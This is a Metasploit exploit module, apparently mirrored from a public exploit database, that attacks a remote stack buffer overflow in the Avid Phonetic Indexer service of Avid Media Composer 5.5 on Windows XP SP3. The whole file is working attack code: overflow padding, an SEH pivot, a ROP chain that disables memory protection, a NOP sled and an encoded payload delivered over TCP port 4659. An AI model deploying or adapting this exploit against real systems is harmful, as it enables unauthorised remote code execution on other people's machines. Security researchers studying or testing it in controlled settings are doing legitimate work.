require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::Tcp def initialize(info={}) super(update_info(info, 'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow", 'Description' => %q{ This module exploits a stack buffer overflow in process AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer 5.5 Editing Suite. This daemon sometimes starts on a different port; if you start it standalone it will run on port 4660. }, 'License' => MSF_LICENSE, 'Version' => "$Revision: 13137 $", 'Author' => [ 'vt [nick.freeman@security-assessment.com]', ], 'References' => [ [ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Remote_Stack_Buffer_Overflow.pdf' ], ], 'Payload' => { 'Space' => 1012, 'BadChars' => "\x00\x09\x0a\x0d\x20", 'DisableNops' => true, 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'EAX', } }, 'Platform' => 'win', 'Targets' => [ [ 'Windows XP Professional SP3', {} ], ], 'Privileged' => false, 'DisclosureDate' => "Nov 29 2011", 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(4659), ], self.class) end def exploit junk = 'A' * 216 sehpivot = "\xeb\x35\x8b\x02" #0x028B35EB : # ADD ESP,1800 # RETN junk2 = 'A' * 732 rop_gadgets = [ # ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!) - a non-sayonara ROP would be super easy too, I'm just lazy :) 0x7C344CC1, # pop eax;ret; 0x7C3410C2, # pop ecx;pop ecx;ret; 0x7C342462, # xor chain; call eax {0x7C3410C2} 0x7C38C510, # writeable location for lpflOldProtect 0x7C365645, # pop esi;ret; 0x7C345243, # ret; 0x7C348F46, # pop ebp;ret; 0x7C3487EC, # call eax 0x7C344CC1, # pop eax;ret; 0xfffffbfc, # {size} 0x7C34D749, # neg eax;ret; {adjust size} 0x7C3458AA, # add ebx, eax;ret; {size into ebx} 0x7C3439FA, # pop edx;ret; 0xFFFFFFC0, # {flag} 0x7C351EB1, # neg edx;ret; {adjust flag} 0x7C354648, # pop edi;ret; 0x7C3530EA, # mov eax,[eax];ret; 0x7C344CC1, # pop eax;ret; 0x7C37A181, # (VP RVA + 30) - {0xEF adjustment} 0x7C355AEB, # sub eax,30;ret; 0x7C378C81, # pushad; add al,0xef; ret; 0x7C36683F, # push esp;ret; ].pack("V*") # need to control a buffer reg for the msf gen'd payload to fly. in this case: bufregfix = "\x8b\xc4" # MOV EAX,ESP bufregfix += "\x83\xc0\x10" # ADD EAX,10 connect sploit = junk + sehpivot + junk2 + rop_gadgets + bufregfix + "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded sock.put(sploit) handler disconnect end end # Iranian Exploit DataBase = http://IeDb.Ir [2013-11-06]